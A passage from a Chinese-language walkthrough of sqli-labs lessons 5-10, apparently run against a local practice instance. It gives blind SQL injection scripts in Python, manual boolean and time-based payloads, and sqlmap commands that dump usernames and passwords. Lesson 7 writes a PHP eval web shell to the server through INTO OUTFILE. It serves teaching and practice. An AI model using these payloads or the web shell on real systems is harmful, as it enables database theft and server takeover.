time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name += i
# print(name)
break
print('column_name:', name)
column_name()
# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://192.168.74.143:86/Less-5/"
payload = "?id=1' and if(substr((select group_concat(username) from users ),%d,1)='%s',sleep(1),1) --+" % (
j, i)
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name += i
# print(name)
break
print('username_value:', name)
username_value()
# 获取username
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://192.168.74.143:86/Less-5/"
payload = "?id=1' and if(substr((select group_concat(password) from users ),%d,1)='%s',sleep(1),1) --+" % (
j, i)
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name += i
# print(name)
break
print('password_value:', name)
password_value()
方法二,布尔型手工注入
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,
暴库payload
id=1' and left((select database()),1)='s' --+
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i' --+
爆字段payload
?id=1' and left((select username from users limit 0,1),1)='d' --+
需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
脚本
import requests
url = "http://192.168.74.143:86/Less-5/"
dic = '0123456789abcdefghijklmnopqrstuvwxyz,!'
res = ""
for i in range(1, 100):
for j in dic:
#库名
#sql = "1' and if((substr(database(),%d,1)) = '%c', 1, 0) -- " % (i, j)
#表名
#sql = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',1,0) -- "% (i, j)
#字段名
sql = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),%d,1)='%c',1,0) -- "% (i, j)
#字段值
# sql ="1' and if(substr((select group_concat(username) from users),%d,1)= '%c',1,0) -- "% (i, j)
#sql ="1' and if(substr((select group_concat(password) from users),%d,1)= '%c',1,0) -- "% (i, j)
parm = {'id': sql}
r = requests.get(url=url, params=parm)
# 只要判断逻辑正确的标志出现,即可打印结果
if "You are in" in r.text:
res += j
print(res)
break
if j == '!':
break
方法三,sqlmap工具注入
清除sqlmap缓存:python sqlmap.py --purge
进行爆库,找到数据库类型以及确定有注入点可利用
python sqlmap.py -u "http://192.168.74.143:86/Less-5/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-5/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-5/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-5/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py -u "http://192.168.74.143:86/Less-5/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
代码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Less-6(GET - Double lnjection - Double Quotes - string)
双注入GET双引号字符型注入
分别尝试将 ?id=1
?id=1'
?id=1"
添加到url中,发现?id=1"
报错,说明是字符型注入(初步认定双引号注入)。
方法一:时间延迟型手工注入
判断报错
?id=1" and sleep(5) --+
一个字符一个字符的猜解
暴出库名
?id=1" and if(left(database(),1)='s',sleep(5),1) --+
暴出表名
?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1) --+
暴出字段
?id=1" and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(5),1) --+
暴出记录
?id=1" and if(left((select username from users limit 0,1),1)='d',sleep(5),1) --+
方法二,布尔型手工注入
正确会回显,错误没有回显
暴出库名
?id=1" and left((select database()),1)='s' --+
暴出表名
?id=1" and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
暴出字段
?id=1" and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i' --+
暴出记录
?id=1" and left((select username from users limit 0,1),1)='d' --+
方法三,sqlmap工具注入
清除sqlmap缓存:python sqlmap.py --purge
进行爆库,找到数据库类型以及确定有注入点可利用
python sqlmap.py -u "http://192.168.74.143:86/Less-6/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-6/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-6/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-6/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py -u "http://192.168.74.143:86/Less-6/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
代码分析
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less-7(GET - Dump into outfile - string)
导出文件GET字符型注入
分析数字型/字符型(单/双引号)注入:
我们可以分别尝试将?id=1
?id=1'
?id=1"
添加到url中,进行测试,发现?id=1'
报错,初步判断为字符型注入,经过测试后发现正常返回 You are in.... Use outfile...... 错误返回 You have an error in your SQL syntax
接下来我们测试 ?id=1' 是否是注入点(利用 or 1=1 或者 and 1=1等方法)
发现报错,那么接下来 分析是否存在括号及其个数,依次增加括号个数,直到回显正常
由此可推断出,这是带双括号的单引号注入。
dump into outfile,意思是本关我们利用文件导入的方式进行注入。(在补充下载源码中我们发现,print_f(mysql_error()) 被注释掉了说明我们不能 基于报错来进行注入,但我们可以使用布尔盲注,直接套Less-5的表达式就能得出我们想要的信息,但这不是本关的意图。)
方法一:手工注入
小扩展:
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就.../var/www/htm,.../var/www/html/htdocs
phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\
xammp 就是...\xampp\htdocs
load_file()导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于max_allowed_packet
@@datadir——数据库存储路径
@@basedir——Mysql安装路径
dumpfile——导出文件,类似outfile;不同的是,dumpfile一次导出一行,会和limit结合使用
load_file()——将文件导入mysql,用法select load_file("文件路径")
使用select ... into outfile以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1
将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','
使用select * into outfile导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table
导入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'
fields terminated by ','——字段间分割符
optionally enclosed by '"'——将字段包围,对数值型无效
lines terminated by '\n'——换行符
注入步骤
-
先导出文件,导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径,但在Less-7下我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,那么怎么办?很简单,在Less 1-6关中是返回报错信息的,那么我们随便挑一关进行报错注入,来获取我们想要的信息,这里以Lese-1为例获取网站的绝对路径:(@@datadir获取数据库存储数据路径 ,@@basedir是MYSQL获取安装路径)
-
Less-1/?id=-1' union select 1,2,@@datadir -- #
@@datadir返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir我们可以推断出网站的绝对路径。
这里因为我的靶场比较特殊,该方式不太行。我就直接拿路径做题了。
?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);?>’ into outfile “C:\inetpub\target\sqlilabs\Less-7\shell.php” -–+
成功链接数据库
方法二,sqlmap工具注入
清除sqlmap缓存:python sqlmap.py --purge
进行爆库,找到数据库类型以及确定有注入点可利用
python sqlmap.py -u "http://192.168.74.143:86/Less-7/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-7/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-7/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-7/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py -u "http://192.168.74.143:86/Less-7/?id=1" --batch --threads=20 --level=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
代码分析
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
Less-8(GET - Blind - Boolian Based - Single Quotes)
布尔型单引号GET盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
方法一:手工注入
判断报错
?id=1' and 1=1 --+
?id=1' and 1=2 --+
猜解库的长度
?id=1' and length(database())=8 --+
猜解库名
?id=1' and left((select database()),1)='s' --+
?id=1' and left((select database()),8)='security' --+
猜解表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+
猜解字段名
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i' --+
猜解记录
?id=1' and left((select username from users limit 0,1),1)='d' --+
方法二:sqlmap工具自动注入
python sqlmap.py "http://192.168.74.143:86/Less-8/index.php?id=1" --batch --threads=20 --leve=5 --risk=3
python sqlmap.py "http://192.168.74.143:86/Less-8/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py "http://192.168.74.143:86/Less-8/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security --table
python sqlmap.py "http://192.168.74.143:86/Less-8/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py "http://192.168.74.143:86/Less-8/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
Less-9(GET - Blind - Time based. - Single Quotes)
基于时间的GET单引号盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
方法一:手工注入
判断延时
?id=1' and sleep(3) --+
猜解库的长度
?id=1' and if(length(database())=8,sleep(3),1) --+
猜解库名
?id=1' and if(left((select database()),1)='s',sleep(3),1) --+
猜解表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+
猜解字段名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+
猜解记录
?id=1' and if(left((select username from users limit 0,1),1)='d',sleep(3),1) --+
方法二:sqlmap工具自动注入
python sqlmap.py "http://192.168.74.143:86/Less-9/index.php?id=1" --batch --threads=20 --leve=5 --risk=3
python sqlmap.py "http://192.168.74.143:86/Less-9/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py "http://192.168.74.143:86/Less-9/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security --table
python sqlmap.py "http://192.168.74.143:86/Less-9/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py "http://192.168.74.143:86/Less-9/index.php?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
Less-10(GET -Blind - Time based - double quotes)
基于时间的双引号盲注
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
方法一:手工注入
判断延时
?id=1” and sleep(3) --+
猜解库的长度
?id=1” and if(length(database())=8,sleep(3),1) --+
猜解库名
?id=1” and if(left((select database()),1)='s',sleep(3),1) --+
猜解表名
?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+
猜解字段名
?id=1" and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+
猜解记录
?id=1" and if(left((select username from users limit 0,1),1)='d',sleep(3),1) --+
方法二:sqlmap工具自动注入
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --leve=5 --risk=3
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --leve=5 --risk=3 --dbms=mysql -D security --table
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users --column
python sqlmap.py "http://192.168.74.143:86/Less-10/index.php?id=1" --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
总结
至此, 前十关的GET注入暂时结束了
1.基于报错的一般GET类型(主要就是各种符号问题)
2.基于报错的双注入
3.写入类型的注入(Dump into outfile)
4.布尔型的盲注
5.基于时间的盲注